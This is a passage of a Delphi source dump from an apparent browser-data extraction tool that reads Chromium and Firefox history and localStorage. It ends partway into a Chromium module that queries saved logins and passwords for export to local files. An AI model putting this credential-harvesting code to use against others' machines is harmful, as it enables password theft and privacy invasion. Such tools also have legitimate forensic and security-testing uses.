146 | JSONObject.AddPair('visitCount', TJSONNumber.Create(Item.VisitCount));
147 | JSONObject.AddPair('lastVisit', FormatDateTime('yyyy-mm-dd hh:nn:ss',
148 | Item.LastVisitTime));
149 | JSONArray.AddElement(JSONObject);
150 | end;
151 |
152 | FileName := Format('%s_%s_history.json',
153 | [GetBrowserPrefix, GetProfileName]);
154 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
155 | FileName);
156 |
157 | // Convert JSON to string
158 | JSONString := JSONArray.Format(2);
159 |
160 | // Replace escaped forward slashes \/ with /
161 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
162 |
163 | // Save the modified JSON string
164 | TFile.WriteAllText(FilePath, JSONString);
165 |
166 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper,
167 | FilePath]));
168 | finally
169 | JSONArray.Free;
170 | end;
171 | end;
172 |
173 | procedure TChromiumHistoryHelper.OutputCSV(const History: THistoryItems);
174 | var
175 | OutputFile: TextFile;
176 | FileName, FilePath: string;
177 | begin
178 | EnsureResultsDirectory;
179 | FileName := Format('%s_%s_history.csv', [GetBrowserPrefix, GetProfileName]);
180 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
181 | AssignFile(OutputFile, FilePath);
182 | try
183 | Rewrite(OutputFile);
184 | WriteLn(OutputFile, 'Title,URL,VisitCount,LastVisit');
185 |
186 | for var Item in History do
187 | begin
188 | WriteLn(OutputFile, Format('"%s","%s","%d","%s"',
189 | [StringReplace(Item.Title, '"', '""', [rfReplaceAll]),
190 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), Item.VisitCount,
191 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)]));
192 | end;
193 |
194 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper,
195 | FilePath]));
196 | finally
197 | CloseFile(OutputFile);
198 | end;
199 | end;
200 |
201 | procedure TChromiumHistoryHelper.OutputHistory(const History: THistoryItems);
202 | begin
203 | case FOutputFormat of
204 | ofHuman:
205 | OutputHuman(History);
206 | ofJSON:
207 | OutputJSON(History);
208 | ofCSV:
209 | OutputCSV(History);
210 | end;
211 | end;
212 |
213 | constructor TChromiumHistoryHelper.Create(const AProfilePath: string;
214 | ABrowserKind: TBrowserKind = bkChrome);
215 | begin
216 | inherited Create;
217 | FProfilePath := AProfilePath;
218 | FBrowserKind := ABrowserKind;
219 | FOutputFormat := ofCSV;
220 | FSQLiteConnection := TUniConnection.Create(nil);
221 | FSQLiteConnection.ProviderName := 'SQLite';
222 | FSQLiteConnection.LoginPrompt := False;
223 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
224 | end;
225 |
226 | destructor TChromiumHistoryHelper.Destroy;
227 | begin
228 | if Assigned(FSQLiteConnection) then
229 | begin
230 | if FSQLiteConnection.Connected then
231 | FSQLiteConnection.Disconnect;
232 | FSQLiteConnection.Free;
233 | end;
234 | inherited;
235 | end;
236 |
237 | function TChromiumHistoryHelper.GetHistory: THistoryItems;
238 | var
239 | Query: TUniQuery;
240 | HistoryDb, TempDb: string;
241 | FS: TFormatSettings;
242 | begin
243 | SetLength(Result, 0);
244 | HistoryDb := TPath.Combine(FProfilePath, 'History');
245 |
246 | if not FileExists(HistoryDb) then
247 | Exit;
248 |
249 | TempDb := TPath.Combine(TPath.GetTempPath, Format('history_%s.sqlite',
250 | [TGUID.NewGuid.ToString]));
251 | try
252 | TFile.Copy(HistoryDb, TempDb);
253 | FSQLiteConnection.Database := TempDb;
254 | FSQLiteConnection.Connect;
255 | Query := TUniQuery.Create(nil);
256 | try
257 | Query.Connection := FSQLiteConnection;
258 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
259 | Query.ExecSQL;
260 | Query.SQL.Text := QUERY_Chromium_HISTORY;
261 | Query.Open;
262 |
263 | while not Query.Eof do
264 | begin
265 | SetLength(Result, Length(Result) + 1);
266 | with Result[High(Result)] do
267 | begin
268 | Title := Query.FieldByName('title').AsString;
269 | URL := Query.FieldByName('url').AsString;
270 | VisitCount := Query.FieldByName('visit_count').AsInteger;
271 |
272 | var
273 | VisitDateStr := Query.FieldByName('formatted_visit_date').AsString;
274 | try
275 | FS := TFormatSettings.Create;
276 | FS.DateSeparator := '-';
277 | FS.TimeSeparator := ':';
278 | FS.ShortDateFormat := 'yyyy-mm-dd';
279 | FS.LongTimeFormat := 'hh:nn:ss';
280 | LastVisitTime := StrToDateTime(VisitDateStr, FS);
281 | except
282 | on E: Exception do
283 | begin
284 | WriteLn('Error parsing visit date: ' + VisitDateStr + ' - ' +
285 | E.Message);
286 | LastVisitTime := 0;
287 | end;
288 | end;
289 | end;
290 | Query.Next;
291 | end;
292 |
293 | if Length(Result) > 0 then
294 | begin
295 | SortHistoryByVisitCount(Result);
296 | OutputHistory(Result);
297 | end;
298 |
299 | finally
300 | Query.Free;
301 | FSQLiteConnection.Disconnect;
302 | end;
303 |
304 | finally
305 | if FileExists(TempDb) then
306 | TFile.Delete(TempDb);
307 | end;
308 | end;
309 |
310 | procedure TChromiumHistoryHelper.SortHistoryByVisitCount
311 | (var History: THistoryItems);
312 | var
313 | i, j: Integer;
314 | temp: THistoryItem;
315 | begin
316 | for i := Low(History) to High(History) - 1 do
317 | for j := i + 1 to High(History) do
318 | if History[i].VisitCount < History[j].VisitCount then
319 | begin
320 | temp := History[i];
321 | History[i] := History[j];
322 | History[j] := temp;
323 | end;
324 | end;
325 |
326 | function TChromiumHistoryHelper.GetHistoryCount: Integer;
327 | var
328 | Query: TUniQuery;
329 | HistoryDb, TempDb: string;
330 | begin
331 | Result := 0;
332 | HistoryDb := TPath.Combine(FProfilePath, 'History');
333 |
334 | if not FileExists(HistoryDb) then
335 | Exit;
336 |
337 | // Create temp copy of database
338 | TempDb := TPath.Combine(TPath.GetTempPath, Format('history_%s.sqlite',
339 | [TGUID.NewGuid.ToString]));
340 | try
341 | TFile.Copy(HistoryDb, TempDb);
342 | FSQLiteConnection.Database := TempDb;
343 | FSQLiteConnection.Connect;
344 | Query := TUniQuery.Create(nil);
345 | try
346 | Query.Connection := FSQLiteConnection;
347 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
348 | Query.ExecSQL;
349 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM urls';
350 | Query.Open;
351 | Result := Query.FieldByName('count').AsInteger;
352 | finally
353 | Query.Free;
354 | FSQLiteConnection.Disconnect;
355 | end;
356 |
357 | finally
358 | // Delete temporary database copy
359 | if FileExists(TempDb) then
360 | TFile.Delete(TempDb);
361 | end;
362 | end;
363 |
364 | end.
365 |
--------------------------------------------------------------------------------
/src/browserdata/history/FirefoxHistory.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxHistory;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON,
13 | Uni,
14 | SQLiteUniProvider;
15 |
16 | type
17 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
18 |
19 | THistoryItem = record
20 | ID: Int64;
21 | Title: string;
22 | URL: string;
23 | VisitCount: Integer;
24 | LastVisitTime: TDateTime;
25 | end;
26 |
27 | THistoryItems = TArray;
28 |
29 | TFirefoxHistoryHelper = class
30 | private
31 | FProfilePath: string;
32 | FOutputFormat: TOutputFormat;
33 | FSQLiteConnection: TUniConnection;
34 |
35 | const
36 | QUERY_FIREFOX_HISTORY = 'SELECT id, url, ' +
37 | 'strftime(''%Y-%m-%d %H:%M:%S'', COALESCE(last_visit_date, 0)/1000000, ''unixepoch'', ''localtime'') as formatted_visit_date, '
38 | + 'COALESCE(title, '''') as title, visit_count FROM moz_places';
39 |
40 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
41 |
42 | function GetProfileName: string;
43 | procedure EnsureResultsDirectory;
44 | procedure OutputHuman(const History: THistoryItems);
45 | procedure OutputJSON(const History: THistoryItems);
46 | procedure OutputCSV(const History: THistoryItems);
47 | procedure OutputHistory(const History: THistoryItems);
48 | public
49 | constructor Create(const AProfilePath: string);
50 | destructor Destroy; override;
51 | function GetHistory: THistoryItems;
52 | procedure SortHistoryByVisitCount(var History: THistoryItems);
53 | function GetHistoryCount: Integer;
54 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
55 | end;
56 |
57 | implementation
58 |
59 | function TFirefoxHistoryHelper.GetProfileName: string;
60 | var
61 | ProfileFolder: string;
62 | begin
63 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
64 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
65 | end;
66 |
67 | procedure TFirefoxHistoryHelper.EnsureResultsDirectory;
68 | var
69 | ResultsDir: string;
70 | begin
71 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
72 | if not TDirectory.Exists(ResultsDir) then
73 | TDirectory.CreateDirectory(ResultsDir);
74 | end;
75 |
76 | procedure TFirefoxHistoryHelper.OutputHuman(const History: THistoryItems);
77 | var
78 | OutputFile: TextFile;
79 | FileName, FilePath: string;
80 | begin
81 | EnsureResultsDirectory;
82 | FileName := Format('firefox_%s_history.txt', [GetProfileName]);
83 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
84 | AssignFile(OutputFile, FilePath);
85 | try
86 | Rewrite(OutputFile);
87 | for var Item in History do
88 | begin
89 | WriteLn(OutputFile);
90 | WriteLn(OutputFile, 'URL: ', Item.URL);
91 | WriteLn(OutputFile, 'Title: ', Item.Title);
92 | WriteLn(OutputFile, 'Visit Count: ', Item.VisitCount);
93 | if Item.LastVisitTime > 0 then
94 | WriteLn(OutputFile, 'Last Visit: ',
95 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime));
96 | WriteLn(OutputFile, '----------------------------------------');
97 | end;
98 | WriteLn('[FIREFOX] History saved to: ', FilePath);
99 | finally
100 | CloseFile(OutputFile);
101 | end;
102 | end;
103 |
104 | procedure TFirefoxHistoryHelper.OutputJSON(const History: THistoryItems);
105 | var
106 | JSONArray: TJSONArray;
107 | JSONObject: TJSONObject;
108 | FileName, FilePath, JSONString: string;
109 | begin
110 | EnsureResultsDirectory;
111 | JSONArray := TJSONArray.Create;
112 | try
113 | for var Item in History do
114 | begin
115 | JSONObject := TJSONObject.Create;
116 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
117 | JSONObject.AddPair('title', TJSONString.Create(Item.Title));
118 | JSONObject.AddPair('visitCount', TJSONNumber.Create(Item.VisitCount));
119 |
120 | if Item.LastVisitTime > 0 then
121 | JSONObject.AddPair('lastVisit', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime))
122 | else
123 | JSONObject.AddPair('lastVisit', TJSONString.Create(''));
124 |
125 | JSONArray.AddElement(JSONObject);
126 | end;
127 |
128 | FileName := Format('firefox_%s_history.json', [GetProfileName]);
129 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
130 |
131 | // Convert JSON to string
132 | JSONString := JSONArray.Format(2);
133 |
134 | // Replace escaped forward slashes \/ with /
135 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
136 |
137 | // Save the modified JSON string
138 | TFile.WriteAllText(FilePath, JSONString);
139 |
140 | WriteLn('[FIREFOX] History saved to: ', FilePath);
141 | finally
142 | JSONArray.Free;
143 | end;
144 | end;
145 |
146 | procedure TFirefoxHistoryHelper.OutputCSV(const History: THistoryItems);
147 | var
148 | OutputFile: TextFile;
149 | FileName, FilePath: string;
150 | begin
151 | EnsureResultsDirectory;
152 | FileName := Format('firefox_%s_history.csv', [GetProfileName]);
153 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
154 | AssignFile(OutputFile, FilePath);
155 | try
156 | Rewrite(OutputFile);
157 | WriteLn(OutputFile, 'URL,Title,VisitCount,LastVisitTime');
158 |
159 | for var Item in History do
160 | begin
161 | WriteLn(OutputFile, Format('"%s","%s",%d,"%s"',
162 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
163 | StringReplace(Item.Title, '"', '""', [rfReplaceAll]), Item.VisitCount,
164 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.LastVisitTime)]));
165 | end;
166 |
167 | WriteLn('[FIREFOX] History saved to: ', FilePath);
168 | finally
169 | CloseFile(OutputFile);
170 | end;
171 | end;
172 |
173 | procedure TFirefoxHistoryHelper.OutputHistory(const History: THistoryItems);
174 | begin
175 | case FOutputFormat of
176 | ofHuman:
177 | OutputHuman(History);
178 | ofJSON:
179 | OutputJSON(History);
180 | ofCSV:
181 | OutputCSV(History);
182 | end;
183 | end;
184 |
185 | constructor TFirefoxHistoryHelper.Create(const AProfilePath: string);
186 | begin
187 | inherited Create;
188 | FProfilePath := AProfilePath;
189 | FOutputFormat := ofCSV;
190 | FSQLiteConnection := TUniConnection.Create(nil);
191 | FSQLiteConnection.ProviderName := 'SQLite';
192 | FSQLiteConnection.LoginPrompt := False;
193 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
194 | end;
195 |
196 | destructor TFirefoxHistoryHelper.Destroy;
197 | begin
198 | if Assigned(FSQLiteConnection) then
199 | begin
200 | if FSQLiteConnection.Connected then
201 | FSQLiteConnection.Disconnect;
202 | FSQLiteConnection.Free;
203 | end;
204 | inherited;
205 | end;
206 |
207 | function TFirefoxHistoryHelper.GetHistory: THistoryItems;
208 | var
209 | Query: TUniQuery;
210 | HistoryDb, TempDb: string;
211 | FS: TFormatSettings;
212 | begin
213 | SetLength(Result, 0);
214 | HistoryDb := TPath.Combine(FProfilePath, 'places.sqlite');
215 |
216 | if not FileExists(HistoryDb) then
217 | Exit;
218 |
219 | // Create temp copy of database
220 | TempDb := TPath.Combine(TPath.GetTempPath, Format('places_%s.sqlite', [TGUID.NewGuid.ToString]));
221 | try
222 | TFile.Copy(HistoryDb, TempDb);
223 | FSQLiteConnection.Database := TempDb;
224 |
225 | FSQLiteConnection.Connect;
226 | Query := TUniQuery.Create(nil);
227 | try
228 | Query.Connection := FSQLiteConnection;
229 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
230 | Query.ExecSQL;
231 | Query.SQL.Text := QUERY_FIREFOX_HISTORY;
232 | Query.Open;
233 |
234 | while not Query.Eof do
235 | begin
236 | SetLength(Result, Length(Result) + 1);
237 | with Result[High(Result)] do
238 | begin
239 | ID := Query.FieldByName('id').AsLargeInt;
240 | URL := Query.FieldByName('url').AsString;
241 | Title := Query.FieldByName('title').AsString;
242 | VisitCount := Query.FieldByName('visit_count').AsInteger;
243 |
244 | var VisitDateStr := Query.FieldByName('formatted_visit_date').AsString;
245 |
246 | try
247 | FS := TFormatSettings.Create;
248 | FS.DateSeparator := '-';
249 | FS.TimeSeparator := ':';
250 | FS.ShortDateFormat := 'yyyy-mm-dd';
251 | FS.LongTimeFormat := 'hh:nn:ss';
252 | LastVisitTime := StrToDateTime(VisitDateStr, FS);
253 | except
254 | on E: Exception do
255 | begin
256 | WriteLn('Error parsing visit date: ' + VisitDateStr + ' - ' + E.Message);
257 | LastVisitTime := 0;
258 | end;
259 | end;
260 | end;
261 | Query.Next;
262 | end;
263 |
264 | if Length(Result) > 0 then
265 | OutputHistory(Result);
266 |
267 | finally
268 | Query.Free;
269 | FSQLiteConnection.Disconnect;
270 | end;
271 |
272 | finally
273 | // Delete temporary database copy
274 | if FileExists(TempDb) then
275 | TFile.Delete(TempDb);
276 | end;
277 | end;
278 |
279 | procedure TFirefoxHistoryHelper.SortHistoryByVisitCount
280 | (var History: THistoryItems);
281 | var
282 | i, j: Integer;
283 | temp: THistoryItem;
284 | begin
285 | for i := Low(History) to High(History) - 1 do
286 | for j := i + 1 to High(History) do
287 | if History[i].VisitCount > History[j].VisitCount then
288 | begin
289 | temp := History[i];
290 | History[i] := History[j];
291 | History[j] := temp;
292 | end;
293 | end;
294 |
295 | function TFirefoxHistoryHelper.GetHistoryCount: Integer;
296 | var
297 | Query: TUniQuery;
298 | HistoryDb: string;
299 | begin
300 | Result := 0;
301 | HistoryDb := TPath.Combine(FProfilePath, 'places.sqlite');
302 |
303 | if not FileExists(HistoryDb) then
304 | Exit;
305 |
306 | FSQLiteConnection.Database := HistoryDb;
307 |
308 | try
309 | FSQLiteConnection.Connect;
310 | Query := TUniQuery.Create(nil);
311 | try
312 | Query.Connection := FSQLiteConnection;
313 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_places';
314 | Query.Open;
315 | Result := Query.FieldByName('count').AsInteger;
316 | finally
317 | Query.Free;
318 | end;
319 | except
320 | on E: Exception do
321 | WriteLn('Error getting history count: ', E.Message);
322 | end;
323 | end;
324 |
325 | end.
326 |
--------------------------------------------------------------------------------
/src/browserdata/localstorage/ChromiumLocalStorage.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumLocalStorage;
2 |
3 | interface
4 |
5 | implementation
6 |
7 | end.
8 |
--------------------------------------------------------------------------------
/src/browserdata/localstorage/FirefoxLocalStorage.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxLocalStorage;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.JSON,
12 | Uni,
13 | SQLiteUniProvider;
14 |
15 | type
16 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
17 |
18 | TLocalStorageItem = record
19 | URL: string;
20 | Key: string;
21 | Value: string;
22 | end;
23 |
24 | TLocalStorageItems = TArray;
25 |
26 | TFirefoxLocalStorageHelper = class
27 | private
28 | FProfilePath: string;
29 | FOutputFormat: TOutputFormat;
30 | FSQLiteConnection: TUniConnection;
31 |
32 | const
33 | QUERY_FIREFOX_LOCALSTORAGE = 'SELECT originKey, key, value FROM webappsstore2';
34 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
35 |
36 | function GetProfileName: string;
37 | procedure EnsureResultsDirectory;
38 | procedure OutputHuman(const LocalStorage: TLocalStorageItems);
39 | procedure OutputJSON(const LocalStorage: TLocalStorageItems);
40 | procedure OutputCSV(const LocalStorage: TLocalStorageItems);
41 | procedure OutputLocalStorage(const LocalStorage: TLocalStorageItems);
42 | function ParseOriginKey(const OriginKey: string): string;
43 |
44 | public
45 | constructor Create(const AProfilePath: string);
46 | destructor Destroy; override;
47 | function GetLocalStorage: TLocalStorageItems;
48 | function GetLocalStorageCount: Integer;
49 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
50 | end;
51 |
52 | implementation
53 |
54 | function TFirefoxLocalStorageHelper.GetProfileName: string;
55 | var
56 | ProfileFolder: string;
57 | begin
58 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
59 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
60 | end;
61 |
62 | function TFirefoxLocalStorageHelper.ParseOriginKey(const OriginKey: string): string;
63 | var
64 | Parts: TArray;
65 | Host: string;
66 | i: Integer;
67 | begin
68 | // Split originKey (e.g., "moc.buhtig.:https:443")
69 | Parts := OriginKey.Split([':']);
70 | if Length(Parts) >= 3 then
71 | begin
72 | // Reverse the host part
73 | Host := '';
74 | for i := Length(Parts[0]) downto 1 do
75 | Host := Host + Parts[0][i];
76 |
77 | // Remove leading dot if present
78 | if Host.StartsWith('.') then
79 | Host := Host.Substring(1);
80 |
81 | // Reconstruct URL
82 | Result := Format('%s://%s:%s', [Parts[1], Host, Parts[2]]);
83 | end
84 | else
85 | Result := OriginKey;
86 | end;
87 |
88 | procedure TFirefoxLocalStorageHelper.EnsureResultsDirectory;
89 | var
90 | ResultsDir: string;
91 | begin
92 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
93 | if not TDirectory.Exists(ResultsDir) then
94 | TDirectory.CreateDirectory(ResultsDir);
95 | end;
96 |
97 | procedure TFirefoxLocalStorageHelper.OutputHuman(const LocalStorage: TLocalStorageItems);
98 | var
99 | OutputFile: TextFile;
100 | FileName, FilePath: string;
101 | begin
102 | EnsureResultsDirectory;
103 | FileName := Format('firefox_%s_localstorage.txt', [GetProfileName]);
104 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
105 | AssignFile(OutputFile, FilePath);
106 | try
107 | Rewrite(OutputFile);
108 | for var Item in LocalStorage do
109 | begin
110 | WriteLn(OutputFile);
111 | WriteLn(OutputFile, 'URL: ', Item.URL);
112 | WriteLn(OutputFile, 'Key: ', Item.Key);
113 | WriteLn(OutputFile, 'Value: ', Item.Value);
114 | WriteLn(OutputFile, '----------------------------------------');
115 | end;
116 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath);
117 | finally
118 | CloseFile(OutputFile);
119 | end;
120 | end;
121 |
122 | procedure TFirefoxLocalStorageHelper.OutputJSON(const LocalStorage: TLocalStorageItems);
123 | var
124 | JSONArray: TJSONArray;
125 | JSONObject: TJSONObject;
126 | FileName, FilePath, JSONString: string;
127 | begin
128 | EnsureResultsDirectory;
129 | JSONArray := TJSONArray.Create;
130 | try
131 | for var Item in LocalStorage do
132 | begin
133 | JSONObject := TJSONObject.Create;
134 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
135 | JSONObject.AddPair('key', TJSONString.Create(Item.Key));
136 | JSONObject.AddPair('value', TJSONString.Create(Item.Value));
137 | JSONArray.AddElement(JSONObject);
138 | end;
139 |
140 | FileName := Format('firefox_%s_localstorage.json', [GetProfileName]);
141 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
142 |
143 | // Convert JSON to string
144 | JSONString := JSONArray.Format(2);
145 |
146 | // Replace escaped forward slashes \/ with /
147 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
148 |
149 | // Save the modified JSON string
150 | TFile.WriteAllText(FilePath, JSONString);
151 |
152 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath);
153 | finally
154 | JSONArray.Free;
155 | end;
156 | end;
157 |
158 | procedure TFirefoxLocalStorageHelper.OutputCSV(const LocalStorage: TLocalStorageItems);
159 | var
160 | OutputFile: TextFile;
161 | FileName, FilePath: string;
162 | begin
163 | EnsureResultsDirectory;
164 | FileName := Format('firefox_%s_localstorage.csv', [GetProfileName]);
165 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
166 | AssignFile(OutputFile, FilePath);
167 | try
168 | Rewrite(OutputFile);
169 | WriteLn(OutputFile, 'URL,Key,Value');
170 |
171 | for var Item in LocalStorage do
172 | begin
173 | WriteLn(OutputFile, Format('"%s","%s","%s"',
174 | [StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
175 | StringReplace(Item.Key, '"', '""', [rfReplaceAll]),
176 | StringReplace(Item.Value, '"', '""', [rfReplaceAll])]));
177 | end;
178 |
179 | WriteLn('[FIREFOX] LocalStorage saved to: ', FilePath);
180 | finally
181 | CloseFile(OutputFile);
182 | end;
183 | end;
184 |
185 | procedure TFirefoxLocalStorageHelper.OutputLocalStorage(const LocalStorage: TLocalStorageItems);
186 | begin
187 | case FOutputFormat of
188 | ofHuman:
189 | OutputHuman(LocalStorage);
190 | ofJSON:
191 | OutputJSON(LocalStorage);
192 | ofCSV:
193 | OutputCSV(LocalStorage);
194 | end;
195 | end;
196 |
197 | constructor TFirefoxLocalStorageHelper.Create(const AProfilePath: string);
198 | begin
199 | inherited Create;
200 | FProfilePath := AProfilePath;
201 | FOutputFormat := ofCSV; // Default to CSV
202 | FSQLiteConnection := TUniConnection.Create(nil);
203 | FSQLiteConnection.ProviderName := 'SQLite';
204 | FSQLiteConnection.LoginPrompt := False;
205 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
206 | end;
207 |
208 | destructor TFirefoxLocalStorageHelper.Destroy;
209 | begin
210 | if Assigned(FSQLiteConnection) then
211 | begin
212 | if FSQLiteConnection.Connected then
213 | FSQLiteConnection.Disconnect;
214 | FSQLiteConnection.Free;
215 | end;
216 | inherited;
217 | end;
218 |
219 | function TFirefoxLocalStorageHelper.GetLocalStorage: TLocalStorageItems;
220 | var
221 | Query: TUniQuery;
222 | LocalStorageDb, TempDb: string;
223 | begin
224 | SetLength(Result, 0);
225 | LocalStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite');
226 |
227 | if not FileExists(LocalStorageDb) then
228 | Exit;
229 |
230 | // Create temp copy of database
231 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webappsstore_%s.sqlite', [TGUID.NewGuid.ToString]));
232 | try
233 | TFile.Copy(LocalStorageDb, TempDb);
234 | FSQLiteConnection.Database := TempDb;
235 |
236 | FSQLiteConnection.Connect;
237 | Query := TUniQuery.Create(nil);
238 | try
239 | Query.Connection := FSQLiteConnection;
240 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
241 | Query.ExecSQL;
242 | Query.SQL.Text := QUERY_FIREFOX_LOCALSTORAGE;
243 | Query.Open;
244 |
245 | while not Query.Eof do
246 | begin
247 | SetLength(Result, Length(Result) + 1);
248 | with Result[High(Result)] do
249 | begin
250 | URL := ParseOriginKey(Query.FieldByName('originKey').AsString);
251 | Key := Query.FieldByName('key').AsString;
252 | Value := Query.FieldByName('value').AsString;
253 | end;
254 | Query.Next;
255 | end;
256 |
257 | if Length(Result) > 0 then
258 | OutputLocalStorage(Result);
259 |
260 | finally
261 | Query.Free;
262 | FSQLiteConnection.Disconnect;
263 | end;
264 |
265 | finally
266 | if FileExists(TempDb) then
267 | TFile.Delete(TempDb);
268 | end;
269 | end;
270 |
271 | function TFirefoxLocalStorageHelper.GetLocalStorageCount: Integer;
272 | var
273 | Query: TUniQuery;
274 | LocalStorageDb: string;
275 | begin
276 | Result := 0;
277 | LocalStorageDb := TPath.Combine(FProfilePath, 'webappsstore.sqlite');
278 |
279 | if not FileExists(LocalStorageDb) then
280 | Exit;
281 |
282 | FSQLiteConnection.Database := LocalStorageDb;
283 |
284 | try
285 | FSQLiteConnection.Connect;
286 | Query := TUniQuery.Create(nil);
287 | try
288 | Query.Connection := FSQLiteConnection;
289 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM webappsstore2';
290 | Query.Open;
291 | Result := Query.FieldByName('count').AsInteger;
292 | finally
293 | Query.Free;
294 | end;
295 | except
296 | on E: Exception do
297 | WriteLn('Error getting localStorage count: ', E.Message);
298 | end;
299 | end;
300 |
301 | end.
302 |
--------------------------------------------------------------------------------
/src/browserdata/password/ChromiumPassword.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumPassword;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.DateUtils,
7 | System.JSON, System.NetEncoding, System.Math, System.Generics.Collections,
8 | Winapi.Windows, Uni, SQLiteUniProvider, ChromiumCrypto;
9 |
10 | type
11 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
12 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
13 |
14 | TLoginData = record
15 | UserName: string;
16 | Password: string;
17 | LoginURL: string;
18 | CreateDate: TDateTime;
19 | end;
20 |
21 | TLoginDataArray = TArray;
22 |
23 | TChromiumPasswordHelper = class
24 | private
25 | FProfilePath: string;
26 | FOutputFormat: TOutputFormat;
27 | FBrowserKind: TBrowserKind;
28 | FSQLiteConnection: TUniConnection;
29 |
30 | const
31 | QUERY_Chromium_LOGIN = 'SELECT ' + ' origin_url, ' + ' username_value, ' +
32 | ' password_value, ' + ' date_created, ' +
33 | ' strftime(''%Y-%m-%d %H:%M:%S'', (date_created/1000000)-11644473600, ''unixepoch'', ''localtime'') as formatted_date '
34 | + 'FROM logins';
35 |
36 | function GetProfileName: string;
37 | function GetBrowserPrefix: string;
38 | procedure EnsureResultsDirectory;
39 | procedure OutputHuman(const Logins: TLoginDataArray);
40 | procedure OutputJSON(const Logins: TLoginDataArray);
41 | procedure OutputCSV(const Logins: TLoginDataArray);
42 | procedure OutputLogins(const Logins: TLoginDataArray);
43 | public
44 | constructor Create(const AProfilePath: string;
45 | ABrowserKind: TBrowserKind = bkChrome);
46 | destructor Destroy; override;
47 | function GetPasswords: TLoginDataArray;
48 | function GetPasswordCount: Integer;
49 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
50 | end;
51 |
52 | implementation
53 |
54 | function TChromiumPasswordHelper.GetProfileName: string;
55 | begin
56 | Result := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
57 | end;
58 |
59 | function TChromiumPasswordHelper.GetBrowserPrefix: string;
60 | begin
61 | case FBrowserKind of
62 | bkChrome:
63 | Result := 'chrome';
64 | bkBrave:
65 | Result := 'brave';
66 | bkEdge:
67 | Result := 'edge';
68 | end;
69 | end;
70 |
71 | procedure TChromiumPasswordHelper.EnsureResultsDirectory;
72 | var
73 | ResultsDir: string;
74 | begin
75 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
76 | if not TDirectory.Exists(ResultsDir) then
77 | TDirectory.CreateDirectory(ResultsDir);
78 | end;
79 |
80 | procedure TChromiumPasswordHelper.OutputHuman(const Logins: TLoginDataArray);
81 | var
82 | OutputFile: TextFile;
83 | FileName, FilePath: string;
84 | begin
85 | EnsureResultsDirectory;
86 | FileName := Format('%s_%s_passwords.txt', [GetBrowserPrefix, GetProfileName]);
87 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
88 | AssignFile(OutputFile, FilePath);
89 | try
90 | Rewrite(OutputFile);
91 | for var Login in Logins do
92 | begin
93 | WriteLn(OutputFile);
94 | WriteLn(OutputFile, 'URL: ', Login.LoginURL);
95 | WriteLn(OutputFile, 'Username: ', Login.UserName);
